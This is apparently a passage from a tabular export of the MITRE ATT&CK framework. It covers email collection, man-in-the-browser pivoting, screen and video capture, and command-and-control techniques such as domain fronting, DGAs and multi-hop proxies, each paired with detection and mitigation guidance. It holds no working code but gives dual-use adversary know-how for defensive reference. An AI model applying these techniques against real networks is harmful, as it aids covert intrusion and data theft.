the mailbox are forwarded to the specified SMTP address. However, unlike typical client-side rules, the message does not appear as forwarded in the mailbox; it appears as if it were sent directly to the specified destination mailbox.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2) High volumes of emails that bear the <code>X-MS-Exchange-Organization-AutoForwarded</code> header (indicating auto-forwarding) without a corresponding number of emails that match the appearance of a forwarded message may indicate that further investigation is needed at the administrator level rather than user-level.	Use of encryption provides an added layer of security to sensitive information sent over email. Encryption using public key cryptography requires the adversary to obtain the private certificate along with an encryption key to decrypt messages. Use of two-factor authentication for public-facing webmail servers is also a recommended best practice to minimize the usefulness of user names and passwords to adversaries. Identify unnecessary system utilities or potentially malicious software that may be used to collect email data files or access the corporate email server, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)	collection	Office 365 trace logs, Mail server, Email gateway, Authentication logs	Windows, Office 365	User	https://attack.mitre.org/techniques/T1114
T1185	**1**	**Technique**	**Man in the Browser**	Adversaries can take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify behavior, and intercept information as part of various man in the browser techniques. (Citation: Wikipedia Man in the Browser) A specific example is when an adversary injects software into a browser that allows an them to inherit cookies, HTTP sessions, and SSL client certificates of a user and use the browser as a way to pivot into an authenticated intranet. (Citation: Cobalt Strike Browser Pivot) (Citation: ICEBRG Chrome Extensions) Browser pivoting requires the SeDebugPrivilege and a high-integrity process to execute. Browser traffic is pivoted from the adversary's browser through the user's browser by setting up an HTTP proxy which will redirect any HTTP and HTTPS traffic. This does not alter the user's traffic in any way. The proxy connection is severed as soon as the browser is closed. Whichever browser process the proxy is injected into, the adversary assumes the security context of that process. Browsers typically create a new process for each tab that is opened and permissions and certificates are separated accordingly. With these permissions, an adversary could browse to any resource on an intranet that is accessible through the browser and which the browser has sufficient permissions, such as Sharepoint or webmail. Browser pivoting also eliminates the security provided by 2-factor authentication. (Citation: cobaltstrike manual)	This is a difficult technique to detect because adversary traffic would be masked by normal user traffic. No new processes are created and no additional software touches disk. Authentication logs can be used to audit logins to specific web applications, but determining malicious logins versus benign logins may be difficult if activity matches typical user behavior. Monitor for process injection against browser applications	Since browser pivoting requires a high integrity process to launch from, restricting user permissions and addressing Privilege Escalation and [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) opportunities can limit the exposure to this technique. Close all browser sessions regularly and when they are no longer needed.	collection	Authentication logs, Packet capture, Process monitoring, API monitoring	Windows	Administrator, SYSTEM	https://attack.mitre.org/techniques/T1185
T1113	**1**	**Technique**	**Screen Capture**	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. ### Mac On OSX, the native command <code>screencapture</code> is used to capture screenshots. ### Linux On Linux, there is the native command <code>xwd</code>. (Citation: Antiquated Mac Malware)	Monitoring for screen capture behavior will depend on the method used to obtain data from the operating system and write output files. Detection methods could include collecting information from unusual processes using API calls used to obtain image data, and monitoring for image files written to disk. The sensor data may need to be correlated with other events to identify malicious activity, depending on the legitimacy of this behavior within a given network environment.	Blocking software based on screen capture functionality may be difficult, and there may be legitimate software that performs those actions. Instead, identify potentially malicious software that may have functionality to acquire screen captures, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)	collection	API monitoring, Process monitoring, File monitoring	Linux, macOS		https://attack.mitre.org/techniques/T1113
T1125	**1**	**Technique**	**Video Capture**	An adversary can leverage a computer's peripheral devices (e.g., integrated cameras or webcams) or applications (e.g., video call services) to capture video recordings for the purpose of gathering information. Images may also be captured from devices or applications, potentially in specified intervals, in lieu of video files. Malware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture video or images. Video or image files may be written to disk and exfiltrated later. This technique differs from [Screen Capture](https://attack.mitre.org/techniques/T1113) due to use of specific devices or applications for video recording rather than capturing the victim's screen. In macOS, there are a few different malware samples that record the user's webcam such as FruitFly and Proton. (Citation: objective-see 2017 review)	Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system. Behavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the video camera, recording devices, or recording software, and a process periodically writing files to disk that contain video or camera image data.	Mitigating this technique specifically may be difficult as it requires fine-grained API control. Efforts should be focused on preventing unwanted or unknown code from executing on a system. Identify and block potentially malicious software that may be used to capture video and images by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)	collection	Process monitoring, File monitoring, API monitoring	Windows, macOS	User	https://attack.mitre.org/techniques/T1125
TA0011	**0**	**Tactic**	**Command and Control**	The adversary is trying to communicate with compromised systems to control them. Command and Control consists of techniques that adversaries may use to communicate with systems under their control within a victim network. Adversaries commonly attempt to mimic normal, expected traffic to avoid detection. There are many ways an adversary can establish command and control with various levels of stealth depending on the victim's network structure and defenses.							https://attack.mitre.org/tactics/TA0011

Control ID	Level	Type	Control Name	Control Text	Detection	Mitigation Summary [see link for up-to-date mitigations]	Kill Chain Phases	Data Sources	Platforms	Permissions	Notes
T1043	**1**	**Technique**	**Commonly Used Port**	Adversaries may communicate over a commonly used port to bypass firewalls or network detection systems and to blend with normal network activity to avoid more detailed inspection. They may use commonly open ports such as * TCP:80 (HTTP) * TCP:443 (HTTPS) * TCP:25 (SMTP) * TCP/UDP:53 (DNS) They may use the protocol associated with the port or a completely different protocol. For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), examples of common ports are * TCP/UDP:135 (RPC) * TCP/UDP:22 (SSH) * TCP/UDP:3389 (RDP)	Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)	Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)	command-and-control	Packet capture, Netflow/Enclave netflow, Process use of network, Process monitoring	Linux, macOS		https://attack.mitre.org/techniques/T1043
T1092	**1**	**Technique**	**Communication Through Removable Media**	Adversaries can perform command and control between compromised hosts on potentially disconnected networks using removable media to transfer commands from system to system. Both systems would need to be compromised, with the likelihood that an Internet-connected system was compromised first and the second through lateral movement by [Replication Through Removable Media](https://attack.mitre.org/techniques/T1091). Commands and files would be relayed from the disconnected system to the Internet-connected system to which the adversary has direct access.	Monitor file access on removable media. Detect processes that execute when removable media is mounted.	Disable Autorun if it is unnecessary. (Citation: Microsoft Disable Autorun) Disallow or restrict removable media at an organizational policy level if they are not required for business operations. (Citation: TechNet Removable Media Control)	command-and-control	File monitoring, Data loss prevention	Linux, macOS		https://attack.mitre.org/techniques/T1092
T1094	**1**	**Technique**	**Custom Command and Control Protocol**	Adversaries may communicate using a custom command and control protocol instead of encapsulating commands/data in an existing [Standard Application Layer Protocol](https://attack.mitre.org/techniques/T1071). Implementations include mimicking well-known protocols or developing custom protocols (including raw sockets) on top of fundamental protocols provided by TCP/IP/another standard network stack.	Analyze network traffic for ICMP messages or other protocols that contain abnormal data or are not normally seen within or exiting the network. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2) Monitor and investigate API calls to functions associated with enabling and/or utilizing alternative communication channels.	Properly configure firewalls and proxies to limit outgoing traffic to only necessary ports and through proper network gateway systems. Also ensure hosts are only provisioned to communicate over authorized interfaces. Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)	command-and-control	Packet capture, Netflow/Enclave netflow, Process use of network, Process monitoring	Linux, macOS		https://attack.mitre.org/techniques/T1094
T1024	**1**	**Technique**	**Custom Cryptographic Protocol**	Adversaries may use a custom cryptographic protocol or algorithm to hide command and control traffic. A simple scheme, such as XOR-ing the plaintext with a fixed key, will produce a very weak ciphertext. Custom encryption schemes may vary in sophistication. Analysis and reverse engineering of malware samples may be enough to discover the algorithm and encryption key used. Some adversaries may also attempt to implement their own version of a well-known cryptographic algorithm instead of using a known implementation library, which may lead to unintentional errors. (Citation: F-Secure Cosmicduke)	If malware uses custom encryption with symmetric keys, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures. (Citation: Fidelis DarkComet) In general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect when communications do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)	Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Since the custom protocol used may not adhere to typical protocol standards, there may be opportunities to signature the traffic on a network level for detection. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)	command-and-control	Packet capture, Netflow/Enclave netflow, Process use of network, Malware reverse engineering	Linux, macOS		https://attack.mitre.org/techniques/T1024
T1132	**1**	**Technique**	**Data Encoding**	Command and control (C2) information is encoded using a standard data encoding system. Use of data encoding may be to adhere to existing protocol specifications and includes use of ASCII, Unicode, Base64, MIME, UTF-8, or other binary-to-text and character encoding systems. (Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) Some data encoding systems may also result in data compression, such as gzip.	Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)	Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)	command-and-control	Packet capture, Process use of network, Process monitoring, Network protocol analysis	Linux, macOS	User	https://attack.mitre.org/techniques/T1132
T1001	**1**	**Technique**	**Data Obfuscation**	Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, commingling legitimate traffic with C2 communications traffic, or using a non-standard data encoding system, such as a modified Base64 encoding for the message body of an HTTP request.	Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)	Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)	command-and-control	Packet capture, Process use of network, Process monitoring, Network protocol analysis	Linux, macOS		https://attack.mitre.org/techniques/T1001
T1172	**1**	**Technique**	**Domain Fronting**	Domain fronting takes advantage of routing schemes in Content Delivery Networks (CDNs) and other services which host multiple domains to obfuscate the intended destination of HTTPS traffic or traffic tunneled through HTTPS. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015) The technique involves using different domain names in the SNI field of the TLS header and the Host field of the HTTP header. If both domains are served from the same CDN, then the CDN may route to the address specified in the HTTP header after unwrapping the TLS header. A variation of the the technique, "domainless" fronting, utilizes a SNI field that is left blank; this may allow the fronting to work even when the CDN attempts to validate that the SNI and HTTP Host fields match (if the blank SNI fields are ignored). For example, if domain-x and domain-y are customers of the same CDN, it is possible to place domain-x in the TLS header and domain-y in the HTTP header. Traffic will appear to be going to domain-x, however the CDN may route it to domain-y.	If SSL inspection is in place or the traffic is not encrypted, the Host field of the HTTP header can be checked if it matches the HTTPS SNI or against a blacklist or whitelist of domain names. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015)	If it is possible to inspect HTTPS traffic, the captures can be analyzed for connections that appear to be Domain Fronting. In order to use domain fronting, attackers will likely need to deploy additional tools to compromised systems. (Citation: FireEye APT29 Domain Fronting With TOR March 2017) (Citation: Mandiant No Easy Breach) It may be possible to detect or prevent the installation of these tools with Host-based solutions.	command-and-control	SSL/TLS inspection, Packet capture	Linux, macOS		https://attack.mitre.org/techniques/T1172

Control ID	Level	Type	Control Name	Control Text	Detection	Mitigation Summary [see link for up-to-date mitigations]	Kill Chain Phases	Data Sources	Platforms	Permissions	Notes
T1483	**1**	**Technique**	**Domain Generation Algorithms**	Adversaries may make use of Domain Generation Algorithms (DGAs) to dynamically identify a destination for command and control traffic rather than relying on a list of static IP addresses or domains. This has the advantage of making it much harder for defenders block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Unit 42 DGA Feb 2019) DGAs can take the form of apparently random or "gibberish" strings (ex: istgmxdejdnxuyla.ru) when they construct domain names by generating each letter. Alternatively, some DGAs employ whole words as the unit by concatenating words together instead of letters (ex: cityjulydish.net). Many DGAs are time-based, generating a different domain for each time period (hourly, daily, monthly, etc). Others incorporate a seed value as well to make predicting future domains more difficult for defenders.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Talos CCleanup 2017)(Citation: Akamai DGA Mitigation) Adversaries may use DGAs for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). When contact is lost with the primary command and control server malware may employ a DGA as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity)	Detecting dynamically generated domains can be challenging due to the number of different DGA algorithms, constantly evolving malware families, and the increasing complexity of the algorithms. There is a myriad of approaches for detecting a pseudo-randomly generated domain name, including using frequency analysis, Markov chains, entropy, proportion of dictionary words, ratio of vowels to other characters, and more.(Citation: Data Driven Security DGA) CDN domains may trigger these detections due to the format of their domain names. In addition to detecting a DGA domain based on the name, another more general approach for detecting a suspicious domain is to check for recently registered names or for rarely visited domains. Machine learning approaches to detecting DGA domains have been developed and have seen success in applications. One approach is to use N-Gram methods to determine a randomness score for strings used in the domain name. If the randomness score is high, and the domains are not whitelisted (CDN, etc), then it may be determined if a domain or related to a legitimate host or DGA.(Citation: Pace University Detecting DGA May 2017) Another approach is to use deep learning to classify domains as DGA-generated.(Citation: Endgame Predicting DGA)	This technique may be difficult to mitigate since the domains can be registered just before they are used, and disposed shortly after. Malware researchers can reverse-engineer malware variants that use DGAs and determine future domains that the malware will attempt to contact, but this is a time and resource intensive effort.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA Brute Force) Malware is also increasingly incorporating seed values that can be unique for each instance, which would then need to be determined to extract future generated domains. In some cases, the seed that a particular sample uses can be extracted from DNS traffic.(Citation: Akamai DGA Mitigation) Even so, there can be thousands of possible domains generated per day; this makes it impractical for defenders to preemptively register all possible C2 domains due to the cost. In some cases a local DNS sinkhole may be used to help prevent DGA-based command and control at a reduced cost. Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)	command-and-control	Process use of network, Packet capture, Network device logs, Netflow/Enclave netflow	Linux, macOS	User	https://attack.mitre.org/techniques/T1483
T1008	**1**	**Technique**	**Fallback Channels**	Adversaries may use fallback or alternate communication channels if the primary channel is compromised or inaccessible in order to maintain reliable command and control and to avoid data transfer thresholds.	Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)	Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)	command-and-control	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring	Linux, Windows		https://attack.mitre.org/techniques/T1008
T1026	**1**	**Technique**	**Multiband Communication**	Some adversaries may split communications between different protocols. There could be one protocol for inbound command and control and another for outbound data, allowing it to bypass certain firewall restrictions. The split could also be random to simply avoid data threshold alerts on any one communication.	Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2) Correlating alerts between multiple communication channels can further help identify command-and-control behavior.	Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)	command-and-control	Packet capture, Netflow/Enclave netflow, Process use of network, Malware reverse engineering	Linux, macOS		https://attack.mitre.org/techniques/T1026
T1188	**1**	**Technique**	**Multi-hop Proxy**	To disguise the source of malicious traffic, adversaries may chain together multiple proxies. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source.	When observing use of Multi-hop proxies, network data from the actual command and control servers could allow correlating incoming and outgoing flows to trace malicious traffic back to its source. Multi-hop proxies can also be detected by alerting on traffic to known anonymity networks (such as [Tor](https://attack.mitre.org/software/S0183)) or known adversary infrastructure that uses this technique.	Traffic to known anonymity networks and C2 infrastructure can be blocked through the use of network black and white lists. It should be noted that this kind of blocking may be circumvented by other techniques like [Domain Fronting](https://attack.mitre.org/techniques/T1172).	command-and-control	Network protocol analysis, Netflow/Enclave netflow	Linux, macOS		https://attack.mitre.org/techniques/T1188
T1079	**1**	**Technique**	**Multilayer Encryption**	An adversary performs C2 communications using multiple layers of encryption, typically (but not exclusively) tunneling a custom encryption scheme within a protocol encryption scheme such as HTTPS or SMTPS.	If malware uses [Standard Cryptographic Protocol](https://attack.mitre.org/techniques/T1032), SSL/TLS inspection can be used to detect command and control traffic within some encrypted communication channels. (Citation: SANS Decrypting SSL) SSL/TLS inspection does come with certain risks that should be considered before implementing to avoid potential security issues such as incomplete certificate validation. (Citation: SEI SSL Inspection Risks) After SSL/TLS inspection, additional cryptographic analysis may be needed to analyze the second layer of encryption. With [Custom Cryptographic Protocol](https://attack.mitre.org/techniques/T1024), if malware uses encryption with symmetric keys, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures. (Citation: Fidelis DarkComet) In general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)	Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Use of encryption protocols may make typical network-based C2 detection more difficult due to a reduced ability to signature the traffic. Prior knowledge of adversary C2 infrastructure may be useful for domain and IP address blocking, but will likely not be an effective long-term solution because adversaries can change infrastructure often. (Citation: University of Birmingham C2)	command-and-control	Packet capture, Process use of network, Malware reverse engineering, Process monitoring	Linux, macOS		https://attack.mitre.org/techniques/T1079
T1104	**1**	**Technique**	**Multi-Stage Channels**	Adversaries may create multiple stages for command and control that are employed under different conditions or for certain functions. Use of multiple stages may obfuscate the command and control channel to make detection more difficult. Remote access tools will call back to the first-stage command and control server for instructions. The first stage may have automated capabilities to collect basic host information, update tools, and upload additional files. A second remote access tool (RAT) could be uploaded at that point to redirect the host to the second-stage command and control server. The second stage will likely be more fully featured and allow the adversary to interact with the system through a reverse shell and additional RAT features. The different stages will likely be hosted separately with no overlapping infrastructure. The loader may also have backup first-stage callbacks or [Fallback Channels](https://attack.mitre.org/techniques/T1008) in case the original first-stage communication path is discovered and blocked.	Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure. Relating subsequent actions that may result from Discovery of the system and network information or Lateral Movement to the originating process may also yield useful data.	Command and control infrastructure used in a multi-stage channel may be blocked if known ahead of time. If unique signatures are present in the C2 traffic, they could also be used as the basis of identifying and blocking the channel. (Citation: University of Birmingham C2)	command-and-control	Netflow/Enclave netflow, Network device logs, Network protocol analysis, Packet capture	Linux, macOS		https://attack.mitre.org/techniques/T1104

Control ID	Level	Type	Control Name	Control Text	Detection	Mitigation Summary [see link for up-to-date mitigations]	Kill Chain Phases	Data Sources	Platforms	Permissions	Notes
T1219	**1**	**Technique**	**Remote Access Tools**	An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be whitelisted within a target environment. Remote access tools like VNC, Ammy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land) Remote access tools may be established and used post-compromise as alternate communications channel for [Redundant Access](https://attack.mitre.org/techniques/T1108) or as a way to establish an interactive remote desktop session with the target system. They may also be used as a component of malware to establish a reverse connection or back-connect to a service or adversary controlled system. Admin tools such as TeamViewer have been used by several groups targeting institutions in countries of interest to the Russian state and criminal campaigns. (Citation: CrowdStrike 2015 Global Threat Report) (Citation: CrySyS Blog TeamSpy)	Monitor for applications and processes related to remote admin tools. Correlate activity with other suspicious behavior that may reduce false positives if these tools are used by legitimate users and administrators. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol for the port that is being used. [Domain Fronting](https://attack.mitre.org/techniques/T1172) may be used in conjunction to avoid defenses. Adversaries will likely need to deploy and/or install these remote tools to compromised systems. It may be possible to detect or prevent the installation of these tools with host-based solutions.	Properly configure firewalls, application firewalls, and proxies to limit outgoing traffic to sites and services used by remote access tools. Network intrusion detection and prevention systems that use network signatures may be able to prevent traffic to these services as well. Use application whitelisting to mitigate use of and installation of unapproved software.	command-and-control	Network intrusion detection system, Network protocol analysis, Process use of network, Process monitoring	Linux, Windows	User	https://attack.mitre.org/techniques/T1219
T1071	**1**	**Technique**	**Standard Application Layer Protocol**	Adversaries may communicate using a common, standardized application layer protocol such as HTTP, HTTPS, SMTP, or DNS to avoid detection by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are RPC, SSH, or RDP.	Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol for the port that is being used. (Citation: University of Birmingham C2)	Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and will be different across various malware families and versions. Adversaries will likely change tool signatures over time or construct protocols in such a way to avoid detection by common defensive tools. (Citation: University of Birmingham C2)	command-and-control	Packet capture, Netflow/Enclave netflow, Process use of network, Malware reverse engineering	Linux, macOS		https://attack.mitre.org/techniques/T1071
T1032	**1**	**Technique**	**Standard Cryptographic Protocol**	Adversaries may explicitly employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if necessary secret keys are encoded and/or generated within malware samples/configuration files.	SSL/TLS inspection is one way of detecting command and control traffic within some encrypted communication channels. (Citation: SANS Decrypting SSL) SSL/TLS inspection does come with certain risks that should be considered before implementing to avoid potential security issues such as incomplete certificate validation. (Citation: SEI SSL Inspection Risks) If malware uses encryption with symmetric keys, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures. (Citation: Fidelis DarkComet) In general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)	Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Use of encryption protocols may make typical network-based C2 detection more difficult due to a reduced ability to signature the traffic. Prior knowledge of adversary C2 infrastructure may be useful for domain and IP address blocking, but will likely not be an effective long-term solution because adversaries can change infrastructure often. (Citation: University of Birmingham C2)	command-and-control	Packet capture, Netflow/Enclave netflow, Malware reverse engineering, Process use of network	Linux, macOS		https://attack.mitre.org/techniques/T1032
T1095	**1**	**Technique**	**Standard Non-Application Layer Protocol**	Use of a standard non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive. (Citation: Wikipedia OSI) Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL). ICMP communication between hosts is one example. Because ICMP is part of the Internet Protocol Suite, it is required to be implemented by all IP-compatible hosts; (Citation: Microsoft ICMP) however, it is not as commonly monitored as other Internet Protocols such as TCP or UDP and may be used by adversaries to hide communications.	Analyze network traffic for ICMP messages or other protocols that contain abnormal data or are not normally seen within or exiting the network. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2) Monitor and investigate API calls to functions associated with enabling and/or utilizing alternative communication channels.	Properly configure firewalls and proxies to limit outgoing traffic to only necessary ports and through proper network gateway systems. Also ensure hosts are only provisioned to communicate over authorized interfaces. Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)	command-and-control	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis	Windows, Linux		https://attack.mitre.org/techniques/T1095
T1065	**1**	**Technique**	**Uncommonly Used Port**	Adversaries may conduct C2 communications over a non-standard port to bypass proxies and firewalls that have been improperly configured.	Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)	Properly configure firewalls and proxies to limit outgoing traffic to only necessary ports. Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)	command-and-control	Netflow/Enclave netflow, Process use of network, Process monitoring	Linux, macOS		https://attack.mitre.org/techniques/T1065
TA0010	**0**	**Tactic**	**Exfiltration**	The adversary is trying to steal data. Exfiltration consists of techniques that adversaries may use to steal data from your network. Once they've collected data, adversaries often package it to avoid detection while removing it. This can include compression and encryption. Techniques for getting data out of a target network typically include transferring it over their command and control channel or an alternate channel and may also include putting size limits on the transmission.							https://attack.mitre.org/tactics/TA0010
